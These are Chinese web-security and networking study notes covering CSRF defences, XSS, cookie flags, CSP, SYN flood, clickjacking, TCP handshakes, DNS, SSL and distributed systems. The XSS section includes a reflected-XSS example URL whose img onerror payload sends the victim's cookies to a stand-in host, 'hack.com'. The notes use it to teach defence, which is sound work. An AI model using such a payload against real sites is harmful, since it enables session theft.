验证 HTTP Referer 字段: 根据 HTTP 协议,在 HTTP 头中有一个字段叫 Referer,它记录了该 HTTP 请求的来源地址。在通常情况下,访问一个安全受限页面的请求来自于同一个网站,比如需要访问 http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory,用户必须先登陆 bank.example,然后通过点击页面上的按钮来触发转账事件。这时,该转帐请求的 Referer 值就会是转账按钮所在的页面的 URL,通常是以 bank.example 域名开头的地址。而如果黑客要对银行网站实施 CSRF 攻击,他只能在他自己的网站构造请求,当用户通过黑客的网站发送请求到银行时,该请求的 Referer 是指向黑客自己的网站。因此,要防御 CSRF 攻击,银行网站只需要对于每一个转账请求验证其 Referer 值,如果是以 bank.example 开头的域名,则说明该请求是来自银行网站自己的请求,是合法的。如果 Referer 是其他网站的话,则有可能是黑客的 CSRF 攻击,拒绝该请求。

这种方法的显而易见的好处就是简单易行,网站的普通开发人员不需要操心 CSRF 的漏洞,只需要在最后给所有安全敏感的请求统一增加一个拦截器来检查 Referer 的值就可以。特别是对于当前现有的系统,不需要改变当前系统的任何已有代码和逻辑,没有风险,非常便捷。

然而,这种方法并非万无一失。Referer 的值是由浏览器提供的,虽然 HTTP 协议上有明确的要求,但是每个浏览器对于 Referer 的具体实现可能有差别,并不能保证浏览器自身没有安全漏洞。使用验证 Referer 值的方法,就是把安全性都依赖于第三方(即浏览器)来保障,从理论上来讲,这样并不安全。


在请求地址中添加 token 并验证: CSRF 攻击之所以能够成功,是因为黑客可以完全伪造用户的请求,该请求中所有的用户验证信息都是存在于 cookie 中,因此黑客可以在不知道这些验证信息的情况下直接利用用户自己的 cookie 来通过安全验证。要抵御 CSRF,关键在于在请求中放入黑客所不能伪造的信息,并且该信息不存在于 cookie 之中。可以在 HTTP 请求中以参数的形式加入一个随机产生的 token,并在服务器端建立一个拦截器来验证这个 token,如果请求中没有 token 或者 token 内容不正确,则认为可能是 CSRF 攻击而拒绝该请求。

这种方法要比检查 Referer 要安全一些,token 可以在用户登陆后产生并放于 session 之中,然后在每次请求时把 token 从 session 中拿出,与请求中的 token 进行比对,但这种方法的难点在于如何把 token 以参数的形式加入请求。对于 GET 请求,token 将附在请求地址之后,这样 URL 就变成 http://url?csrftoken=tokenvalue。 而对于 POST 请求来说,要在 form 的最后加上 <input type=”hidden” name=”csrftoken” value=”tokenvalue”/>,这样就把 token 以参数的形式加入请求了。但是,在一个网站中,可以接受请求的地方非常多,要对于每一个请求都加上 token 是很麻烦的,并且很容易漏掉,通常使用的方法就是在每次页面加载时,使用 javascript 遍历整个 dom 树,对于 dom 中所有的 a 和 form 标签后加入 token。这样可以解决大部分的请求,但是对于在页面加载之后动态生成的 html 代码,这种方法就没有作用,还需要程序员在编码时手动添加 token。

该方法还有一个缺点是难以保证 token 本身的安全。特别是在一些论坛之类支持用户自己发表内容的网站,黑客可以在上面发布自己个人网站的地址。由于系统也会在这个地址后面加上 token,黑客可以在自己的网站上得到这个 token,并马上就可以发动 CSRF 攻击。为了避免这一点,系统可以在添加 token 的时候增加一个判断,如果这个链接是链到自己本站的,就在后面添加 token,如果是通向外网则不加。不过,即使这个 csrftoken 不以参数的形式附加在请求之中,黑客的网站也同样可以通过 Referer 来得到这个 token 值以发动 CSRF 攻击。这也是一些用户喜欢手动关闭浏览器 Referer 功能的原因。


在 HTTP 头中自定义属性并验证 这种方法也是使用 token 并进行验证,和上一种方法不同的是,这里并不是把 token 以参数的形式置于 HTTP 请求之中,而是把它放到 HTTP 头中自定义的属性里。通过 XMLHttpRequest 这个类,可以一次性给所有该类请求加上 csrftoken 这个 HTTP 头属性,并把 token 值放入其中。这样解决了上种方法在请求中加入 token 的不便,同时,通过 XMLHttpRequest 请求的地址不会被记录到浏览器的地址栏,也不用担心 token 会透过 Referer 泄露到其他网站中去。

然而这种方法的局限性非常大。XMLHttpRequest 请求通常用于 Ajax 方法中对于页面局部的异步刷新,并非所有的请求都适合用这个类来发起,而且通过该类请求得到的页面不能被浏览器所记录下,从而进行前进,后退,刷新,收藏等操作,给用户带来不便。另外,对于没有进行 CSRF 防护的遗留系统来说,要采用这种方法来进行防护,要把所有请求都改为 XMLHttpRequest 请求,这样几乎是要重写整个网站,这代价无疑是不能接受的。


使用axios防止 CSRF

原理: axios默认在Request Config里已经设置了

 //  ``xsrfCookieName`是用作xsrf标记值的cookie的名称
  xsrfCookieName ' XSRF-TOKEN '//  默认  
 
  //  ``xsrfHeaderName`是携带xsrf标记值的http标头的名称
  xsrfHeaderName ' X-XSRF-TOKEN '//  默认  

XSS

网页链接

跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

反射型: URL的构成分为协议、域名、端口、路径、查询几部分构成。 XSS往往在“查询”部分发现漏洞构造攻击代码实施攻击,所谓“反射”可以理解为hacker并不会直接攻击客户,而是通过URL植入代码通过服务器获取并植入到用户页面完成攻击。

存储型: 存储型存储型攻击方式和反射型最大的区别就是不通过URL来传播,而是利用站点本身合法的存储结构,比如评论。任何用户都可以通过站点提供的接口提交评论内容,这些评论内容都被存储到服务器的数据库。当用户访问这些评论的时候,服务器从数据库提取内容插入到页面反馈给用户。如果评论内容本身是具备攻击性内容,用户无一幸免。

XSS的工作原理:

不管是反射型还是存储型,服务端都会将JavaScript当做文本处理,这些文本在服务端被整合进html文档中,在浏览器解析这些文本的过程也就是XSS被执行的时候。

从攻击到执行分为以下几步:

  1. 构造攻击代码
  2. 服务端提取并写入HTML
  3. 浏览器解析,XSS执行

构造攻击代码: hacker在发现站点对应的漏洞之后,基本可以确定是使用“反射型”或者“存储型”。对于反射型这个很简单了,执行类似代码:

https://www.toutiao.com/search?item=<img onerror="new Image().src='//hack.com?c=' src='null'>"

大家知道很多站点都提供搜索服务,这里的item字段就是给服务端提供关键词。如果hacker将关键词修改成可执行的JavaScript语句,如果服务端不加处理直接将类似代码回显到页面,XSS代码就会被执行。

这段代码的含义是告诉浏览器加载一张图片,图片的地址是空,根据加载机制空图片的加载会触发Element的onerror事件,这段代码的onerror事件是将本地cookie传到指定的网站。

XSS的防范措施:

编码: 对于反射型的代码,服务端代码要对查询进行编码,主要目的就是将查询文本化,避免在浏览器解析阶段转换成DOM和CSS规则及JavaScript解析。

DOM Parse和过滤: 从XSS工作的原理可知,在服务端进行编码,在模板解码这个过程对于富文本的内容来说,完全可以被浏览器解析到并执行,进而给了XSS执行的可乘之机。

为了杜绝悲剧发生,我们需要在浏览器解析之后进行解码,得到的文本进行DOM parse拿到DOM Tree,对所有的不安全因素进行过滤,最后将内容交给浏览器,达到避免XSS感染的效果。


Cookies如何防范XSS攻击?

为了减轻这些攻击,需要在HTTP头部配置set-cookie:

  • HttpOnly - 这个属性可以防止cross-site scripting,因为它会禁止Javascript脚本访问cookie。
  • secure - 这个属性告诉浏览器仅在请求为HTTPS时发送cookie。

结果应该是这样的: Set-Cookie: sid=; HttpOnly. 使用Express的话,cookie-session默认配置好了

在cookie-session中httpOnly: a boolean indicating whether the cookie is only to be sent over HTTP(S), and not made available to client JavaScript (true by default).

一个布尔值,指示cookie是否仅通过HTTP(S)发送,并且不提供给客户端JavaScript(true默认情况下)


使用网页安全政策(Content Security Policy)

Content Security Policy

http://www.ruanyifeng.com/blog/2016/09/csp.html

SYN Flood 攻击

SYN Flood 属于典型的 DoS/DDoS 攻击。其攻击的原理很简单,就是用客户端在短时间内伪造大量不存在的 IP地址,并向服务端疯狂发送SYN。对于服务端而言,会产生两个危险的后果:

  • 处理大量的SYN包并返回对应ACK, 势必有大量连接处于SYN_RCVD状态,从而占满整个半连接队列,无法处理正常的请求。
  • 由于是不存在的 IP,服务端长时间收不到客户端的ACK,会导致服务端不断重发数据,直到耗尽服务端的资源。

半连接队列

当客户端发送SYN到服务端,服务端收到以后回复ACKSYN,状态由LISTEN变为SYN_RCVD,此时这个连接就被推入了SYN队列,也就是半连接队列。

全连接队列

当客户端返回ACK, 服务端接收后,三次握手完成。这个时候连接等待被具体的应用取走,在被取走之前,它会被推入另外一个 TCP 维护的队列,也就是全连接队列(Accept Queue)。

应对

  1. 增加 SYN 连接,也就是增加半连接队列的容量。
  2. 减少 SYN + ACK 重试次数,避免大量的超时重发。
  3. 利用 SYN Cookie技术,在服务端接收到SYN后不立即分配连接资源,而是根据这个SYN计算出一个Cookie,连同第二次握手回复给客户端,在客户端回复ACK的时候带上这个Cookie值,服务端验证Cookie 合法之后才分配连接资源。

CSP

https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP

内容安全策略( CSP ) 是附加的安全层,有助于检测和缓解某些类型的攻击,包括跨站点脚本 ( XSS ) 和数据注入攻击。这些攻击被用于从数据盗窃到站点破坏再到恶意软件分发的所有事情。

例子:

希望所有内容都来自网站自己的来源(这不包括子域。)

Content-Security-Policy: default-src 'self'

点击劫持(ClickJacking)

点击劫持(ClickJacking)是一种视觉上的欺骗手段。攻击者使用一个透明的iframe,覆盖在一个网页上,然后诱使用户在网页上进行操作,此时用户将在不知情的情况下点击透明的iframe页面。通过调整iframe页面的位置,可以诱使用户恰好点击在iframe页面的一些功能性按钮上。

防御手段:

HTTP响应头信息中的X-Frame-Options,可以指示浏览器是否应该加载一个iframe中的页面。如果服务器响应头信息中没有X-Frame-Options,则该网站存在ClickJacking攻击风险。网站可以通过设置X-Frame-Options阻止站点内的页面被其他页面嵌入从而防止点击劫持。

修改web服务器配置,添加X-Frame-Options响应头。赋值有如下三种:

  • DENY:不能被嵌入到任何iframe或者frame中。
  • SAMEORIGIN:页面只能被本站页面嵌入到iframe或者frame
  • ALLOW-FROM uri:只能被嵌入到指定域名的框架中

其他

http method 区别

GET和POST区别

  • GET把参数包含在URL中,POST通过request body传递参数
  • GET请求会被浏览器主动cache,而POST不会,除非手动设置。
  • GET请求只能进行url编码,而POST支持多种编码方式。
  • GET请求参数会被完整保留在浏览器历史记录里,而POST中的参数不会被保留
  • 对参数的数据类型,GET只接受ASCII字符,而POST没有限制。
  • GET比POST更不安全,因为参数直接暴露在URL上,所以不能用来传递敏感信息。

PATCH和POST和PUT区别

POST

  • POST方法用于创建新的子资源或提交数据给服务器进行处理
  • POST方法是非幂等的,即多次调用相同的POST请求可能会产生不同的结果。

PATCH

(在工作中基本很少用到,用PUT代替)

  • PATCH方法用于部分更新资源
  • PATCH 请求是非幂等的

PUT

  • PUT方法用于更新或替代服务器上的资源
  • PUT方法用于完全替换资源
  • PUT方法是幂等的

DNS原理及其解析过程

https://www.zhihu.com/question/23042131

DNS( Domain Name System)是“域名系统”的英文缩写,是一种组织成域层次结构的计算机和网络服务命名系统,它用于TCP/IP网络,它所提供的服务是用来将主机名和域名转换为IP地址的工作。

DNS 的过程?

DNS是应用层协议,事实上他是为其他应用层协议工作的,包括不限于HTTP和SMTP以及FTP,用于将用户提供的主机名解析为ip地址。

具体过程如下:

  • 用户主机上运行着DNS的客户端,就是我们的PC机或者手机客户端运行着DNS客户端了
  • 浏览器将接收到的url中抽取出域名字段,就是访问的主机名,比如, 并将这个主机名传送给DNS应用的客户端
  • DNS客户机端向DNS服务器端发送一份查询报文,报文中包含着要访问的主机名字段(中间包括一些列缓存查询以及分布式DNS集群的工作)
  • 该DNS客户机最终会收到一份回答报文,其中包含有该主机名对应的IP地址
  • 一旦该浏览器收到来自DNS的IP地址,就可以向该IP地址定位的HTTP服务器发起TCP连接

 1) 浏览器缓存

  当用户通过浏览器访问某域名时,浏览器首先会在自己的缓存中查找是否有该域名对应的IP地址(若曾经访问过该域名且没有清空缓存便存在);

  2) 系统缓存

  当浏览器缓存中无域名对应IP则会自动检查用户计算机系统Hosts文件DNS缓存是否有该域名对应IP;

  3) 路由器缓存

  当浏览器及系统缓存中均无域名对应IP则进入路由器缓存中检查,以上三步均为客服端的DNS缓存;

SSL

虽然使用 HTTP 协议无法确定通信方,但如果使用 SSL 则可以。 SSL 不仅提供加密处理,而且还使用了一种被称为证书的手段, 可用于确定方。

证书由值得信任的第三方机构颁发,用以证明服务器和客户端是 实际存在的。另外,伪造证书从技术角度来说是异常困难的一件 事。所以只要能够确认通信方(服务器或客户端)持有的证书, 即可判断通信方的真实意图

公开密钥加密

SSL 采用一种 叫做公开密钥加密(Public-key cryptography)的加密处理方式

近代的加密方法中加密算法是公开的,而密钥却是保密的。通过这种 方式得以保持加密方法的安全性

加密和解密都会用到密钥。没有密钥就无法对密码解密,反过来说, 任何人只要持有密钥就能解密了。如果密钥被攻击者获得,那加密也 就失去了意义

共享密钥加密的困境

加密和解密同用一个密钥的方式称为共享密钥加密(Common key crypto system),也被叫做对称密钥加密


公开密钥加密方式很好地解决了共享密钥加密的困难。

公开密钥加密使用一对非对称的密钥。一把叫做私有密钥 (private key),另一把叫做公开密钥(public key)。顾名思 义,私有密钥不能让其他任何人知道,而公开密钥则可以随意发 布,任何人都可以获得。

使用公开密钥加密方式,发送密文的一方使用对方的公开密钥进 行加密处理,对方收到被加密的信息后,再使用自己的私有密钥 进行解密。利用这种方式,不需要发送用来解密的私有密钥,也 不必担心密钥被攻击者窃听而盗走。

另外,要想根据密文和公开密钥,恢复到信息原文是异常困难 的,因为解密过程就是在对离散对数进行求值,这并非轻而易举 就能办到。退一步讲,如果能对一个非常大的整数做到快速地因 式分解,那么密码破解还是存在希望的。但就目前的技术来看是 不太现实的。

三次握手

https://user-images.githubusercontent.com/17233651/42496289-1c6d668a-8458-11e8-98b3-65db50f64d48.png

三次握手可以简化为:C发起请求连接S确认,也发起连接C确认

我们再看看每次握手的作用:

  1. 第一次握手:S只可以确认 自己可以接受C发送的报文段
  2. 第二次握手:C可以确认 S收到了自己发送的报文段,并且可以确认 自己可以接受S发送的报文段
  3. 第三次握手:S可以确认 C收到了自己发送的报文段

为什么握手不是两次

根本原因:无法确认客户端的接收能力

可能出现的问题是,两次握手,服务端只要接收到然后发送相应的数据包,就 默认连接 了 ,但是事实上现在客户端可能已经断开连接了,这样也就带来了连接资源的浪费

四次挥手

因为TCP是双工通信,客户端和服务端两个方向上都有数据传输,之所以要四次挥手,因为一次挥手加确认,只代表一方不再发送数据,但另一方可能数据还没发送完,处理完后再一次挥手完成断开

img

  • 首先客户端主动关闭,向服务器发FIN报文
  • 服务端接收后通知应用进程并向客户端发送ACK确认
  • 服务端处理完后被动关闭再次向客户端发送FIN以及ACK,进入LAST-ACK状态,
  • 客户端收到服务端发来的FIN后,发送 ACK 给服务端。在等待2MSL后进入CLOSED状态

为什么不是三次挥手

  • 因为服务端在接收到FIN, 往往不会立即返回FIN, 必须等到服务端所有的报文都发送完毕了,才能发FIN
  • 因此先发一个ACK表示已经收到客户端的FIN,延迟一段时间才发FIN。这就造成了四次挥手。 如果是三次挥手会有什么问题? 等于说服务端将ACKFIN的发送合并为一次挥手,长时间的延迟可能会导致客户端误以为FIN没有到达客户端,从而让客户端不断的重发FIN

同源

  • 协议
  • 域名
  • 端口

三者都要相同,就是同源。

同源策略限制从一个源加载的文件或脚本与来自另一个源的资源进行交互。

前后端如何通信

  • Ajax(同源)
  • WebSocket
  • CORS

如何创建Ajax

网站链接

  • XMLHttpRequest对象的工作流程
  • 兼容性处理
  • 事件的触发条件
  • 事件的触发顺序
  var xhr = new XMLHttpRequest();
    xhr.open("GET", "/api", false);
    xhr.onreadystatechange = function () {
        // 这里的函数异步执行
        if (xhr.readyState == 4) {
            if (xhr.status == 200) {
                alert(xhr.responseText);
            }
        }
    }

readyState

  • 0 (未初始化) 还没有调用send()方法
  • 1 (载入) 已调用send()方法,正在发送请求
  • 2 (载入完成) send()方法执行完成,已经接收到全部响应内容
  • 3 (交互) 正在解析响应内容
  • 4 (完成) 响应内容解析完成,可以在客户端调用了

status

  • 2xx 表示成功处理请求
  • 3xx 需要重定向,浏览器直接跳转
  • 4xx 客户端请求错误
  • 5xx 服务器端错误

JSONP简单实现

代码地址

避免 CDN 为 PC 端缓存移动端页面

https://juejin.im/post/5f0d19b6f265da230f2848c3?utm_source=gold_browser_extension

如果 PC 端和移动端是一套代码则不会出现这个问题。「这个问题出现在 PC 端和移动端是两套代码,却共用一个域名。」

使用 nginx 配置如下,根据 UA 判断是否移动端,而走不同的逻辑 (判断UA是否移动端容易出问题)

location / {
    // 默认 PC 端
    root /usr/local/website/web;

    # 判断 UA,访问移动端
    if ( $http_user_agent ~* "(Android|webOS|iPhone|iPad|BlackBerry)" ){
        root /usr/local/website/mobile;
    }

    index index.html index.htm;
}


Vary解决方案:

通常使用 Vary 响应头,来控制 CDN 对不同请求头的缓存。

「此处可以使用 Vary: User-Agent ,代表如果 User-Agent 不一样,则重新发起请求,而非从缓存中读取页面」

Vary: User-Agent

当然,User-Agent 实在过多,此时缓存失效就会过多。

分布式与集群的区别

https://www.zhihu.com/question/20004877

分布式是指通过网络连接的多个组件,通过交换信息协作而形成的系统。而集群,是指同一种组件的多个实例,形成的逻辑上的整体。

集群结构

单机处理到达瓶颈的时候,你就把单机复制几份,这样就构成了一个“集群”。集群中每台服务器就叫做这个集群的一个“节点”,所有节点构成了一个集群。每个节点都提供相同的服务,那么这样系统的处理能力就相当于提升了好几倍(有几个节点就相当于提升了这么多倍)。

但问题是用户的请求究竟由哪个节点来处理呢?最好能够让此时此刻负载较小的节点来处理,这样使得每个节点的压力都比较平均。要实现这个功能,就需要在所有节点之前增加一个“调度者”的角色,用户的所有请求都先交给它,然后它根据当前所有节点的负载情况,决定将这个请求交给哪个节点处理。这个“调度者”有个牛逼了名字——负载均衡服务器。

集群结构的好处就是系统扩展非常容易。如果随着你们系统业务的发展,当前的系统又支撑不住了,那么给这个集群再增加节点就行了。但是,当你的业务发展到一定程度的时候,你会发现一个问题——无论怎么增加节点,貌似整个集群性能的提升效果并不明显了。这时候,你就需要使用微服务结构了。

分布式结构

从单机结构到集群结构,你的代码基本无需要作任何修改,你要做的仅仅是多部署几台服务器,每台服务器上运行相同的代码就行了。但是,当你要从集群结构演进到微服务结构的时候,之前的那套代码就需要发生较大的改动了

所以对于新系统我们建议,系统设计之初就采用微服务架构,这样后期运维的成本更低。但如果一套老系统需要升级成微服务结构的话,那就得对代码大动干戈了。所以,对于老系统而言,究竟是继续保持集群模式,还是升级成微服务架构,这需要你们的架构师深思熟虑、权衡投入产出比。

分布式结构就是将一个完整的系统,按照业务功能,拆分成一个个独立的子系统,在分布式结构中,每个子系统就被称为“服务”。这些子系统能够独立运行在web容器中,它们之间通过RPC方式通信。

举个例子,假设需要开发一个在线商城。按照微服务的思想,我们需要按照功能模块拆分成多个独立的服务,如:用户服务、产品服务、订单服务、后台管理服务、数据分析服务等等。这一个个服务都是一个个独立的项目,可以独立运行。如果服务之间有依赖关系,那么通过RPC方式调用。

这样的好处有很多:

  1. 系统之间的耦合度大大降低,可以独立开发、独立部署、独立测试,系统与系统之间的边界非常明确,排错也变得相当容易,开发效率大大提升。
  2. 系统之间的耦合度降低,从而系统更易于扩展。我们可以针对性地扩展某些服务。假设这个商城要搞一次大促,下单量可能会大大提升,因此我们可以针对性地提升订单系统、产品系统的节点数量,而对于后台管理系统、数据分析系统而言,节点数量维持原有水平即可。
  3. 服务的复用性更高。比如,当我们将用户系统作为单独的服务后,该公司所有的产品都可以使用该系统作为用户系统,无需重复开发。

总结

  • 分布式:一个业务分拆多个子业务,部署在不同的服务器上
  • 集群:同一个业务,部署在多个服务器上

什么是RPC

https://zhuanlan.zhihu.com/p/36427583

RPC要解决的两个问题:

  1. 解决分布式系统中,服务之间的调用问题。
  2. 远程调用时,要能够像本地调用一样方便,让调用者感知不到远程调用的逻辑。